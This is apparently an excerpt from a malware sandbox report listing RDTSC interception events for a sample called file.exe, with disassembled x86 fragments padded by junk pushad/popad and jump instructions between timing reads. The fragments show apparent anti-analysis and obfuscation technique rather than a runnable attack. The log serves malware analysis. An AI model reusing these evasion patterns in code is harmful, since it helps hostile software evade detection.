Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46FF6 second address: D47066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F0D344F4AB8h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 mov edx, dword ptr [ebp+122D3594h] 0x00000028 mov ebx, dword ptr [ebp+12478038h] 0x0000002e push 00000000h 0x00000030 push ebp 0x00000031 call 00007F0D344F4AB8h 0x00000036 pop ebp 0x00000037 mov dword ptr [esp+04h], ebp 0x0000003b add dword ptr [esp+04h], 00000015h 0x00000043 inc ebp 0x00000044 push ebp 0x00000045 ret 0x00000046 pop ebp 0x00000047 ret 0x00000048 mov dword ptr [ebp+122D1800h], ebx 0x0000004e add eax, ebx 0x00000050 mov cx, dx 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F0D344F4ABAh 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47066 second address: D47079 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D34B708FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47079 second address: D47083 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F0D344F4AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9FBC3 second address: D9FBC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9FBC9 second address: D9FBFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D344F4AC6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F0D344F4AC0h 0x0000000f jl 00007F0D344F4AB6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9FDB4 second address: D9FDD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D34B70906h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5972 second address: DA5978 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5978 second address: DA597E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA597E second address: DA5982 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4D0F second address: DA4D19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F0D34B708F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4E5B second address: DA4E61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4E61 second address: DA4E67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4E67 second address: DA4E6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4E6B second address: DA4E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4E71 second address: DA4E80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4E80 second address: DA4ECD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D34B708FDh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F0D34B70903h 0x00000011 jmp 00007F0D34B708FCh 0x00000016 jg 00007F0D34B708F6h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F0D34B70901h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5554 second address: DA555A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAC25E second address: DAC279 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D34B70907h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAC521 second address: DAC527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAC527 second address: DAC52D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAC52D second address: DAC549 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F0D344F4AC4h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAD62E second address: DAD637 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DADC03 second address: DADC19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D344F4AC2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DADC19 second address: DADC1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB5F59 second address: DB5F5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB5F5D second address: DB5F6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB5F6B second address: DB5F9C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0D344F4AD7h 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F0D344F4AB6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB62B4 second address: DB62BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB6579 second address: DB6597 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D344F4AC6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB6597 second address: DB659F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB69E8 second address: DB6A09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D344F4AC0h 0x00000007 je 00007F0D344F4AB8h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB6A09 second address: DB6A18 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jc 00007F0D34B708F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB6BA7 second address: DB6BB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D344F4ABAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB6BB5 second address: DB6BFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0D34B708FAh 0x00000008 jc 00007F0D34B708F6h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 jno 00007F0D34B7090Bh 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c jl 00007F0D34B708F6h 0x00000022 jmp 00007F0D34B708FBh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB6BFC second address: DB6C18 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F0D344F4AC1h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB6C18 second address: DB6C1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC1E44 second address: DC1E4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC1E4A second address: DC1E4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC1E4E second address: DC1E66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pushad 0x00000008 jng 00007F0D344F4ABAh 0x0000000e pushad 0x0000000f popad 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC1E66 second address: DC1E6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC1E6A second address: DC1E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0D344F4AC0h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC1E84 second address: DC1E88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC1E88 second address: DC1E8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC1E8C second address: DC1E9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F0D34B708F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC1E9C second address: DC1EA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC1EA2 second address: DC1EA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC03F3 second address: DC041B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F0D344F4AB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d pushad 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jns 00007F0D344F4AB6h 0x00000017 pop edx 0x00000018 jmp 00007F0D344F4ABDh 0x0000001d push edi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC041B second address: DC0423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC0593 second address: DC059D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F0D344F4AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC0703 second address: DC074D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0D34B708F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F0D34B70906h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jnl 00007F0D34B708F6h 0x00000019 jbe 00007F0D34B708F6h 0x0000001f popad 0x00000020 push ebx 0x00000021 pushad 0x00000022 popad 0x00000023 jmp 00007F0D34B70905h 0x00000028 pop ebx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC0897 second address: DC08A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jo 00007F0D344F4ABCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC08A4 second address: DC08B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jns 00007F0D34B708F6h 0x0000000c js 00007F0D34B708F6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC08B6 second address: DC08CF instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0D344F4AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0D344F4ABCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC08CF second address: DC08D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC08D5 second address: DC08D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC1D18 second address: DC1D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBFAE9 second address: DBFAED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBFAED second address: DBFB0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F0D34B70909h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBFB0C second address: DBFB31 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0D344F4ABEh 0x00000008 pushad 0x00000009 popad 0x0000000a js 00007F0D344F4AB6h 0x00000010 jc 00007F0D344F4ABEh 0x00000016 jno 00007F0D344F4AB6h 0x0000001c pushad 0x0000001d popad 0x0000001e pop edx 0x0000001f pop eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBFB31 second address: DBFB39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBFB39 second address: DBFB40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC41B4 second address: DC41BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC41BA second address: DC41C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCA3E0 second address: DCA401 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 jmp 00007F0D34B70909h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCA401 second address: DCA406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCA406 second address: DCA40B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCA40B second address: DCA420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0D344F4AB6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007F0D344F4AB6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD7C82 second address: DD7C8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD7C8B second address: DD7C8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD7C8F second address: DD7C99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDC18A second address: DDC1B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F0D344F4AB6h 0x0000000a jmp 00007F0D344F4AC7h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDC1B0 second address: DDC1BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDC1BD second address: DDC1C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDC1C1 second address: DDC1DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0D34B70907h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE930E second address: DE9314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB0E5 second address: DEB105 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007F0D34B70902h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB105 second address: DEB110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F0D344F4AB6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB110 second address: DEB11A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F0D34B708F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB11A second address: DEB120 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DED8BC second address: DED8CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F0D34B708F8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DED8CC second address: DED8E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D344F4AC8h 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4396 second address: DF439A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF463D second address: DF4642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4642 second address: DF465B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0D34B70902h 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4AA1 second address: DF4AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF72B8 second address: DF72D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D34B708FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jns 00007F0D34B708F6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB000 second address: DFB03A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0D344F4ABEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F0D344F4ABFh 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 jns 00007F0D344F4AB6h 0x00000019 jns 00007F0D344F4AB6h 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 jng 00007F0D344F4AB6h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFAD5B second address: DFAD5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17B34 second address: E17B3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0D344F4AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17B3E second address: E17B5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D34B70904h 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F0D34B708F6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E277B3 second address: E277E9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0D344F4AB6h 0x00000008 jmp 00007F0D344F4AC5h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F0D344F4AC4h 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E27DE9 second address: E27E10 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0D34B708F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F0D34B70911h 0x00000010 jmp 00007F0D34B70905h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E29C4A second address: E29C84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0D344F4AE2h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E29C84 second address: E29C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C7E3 second address: E2C813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jc 00007F0D344F4ACDh 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push edi 0x00000012 pop edi 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
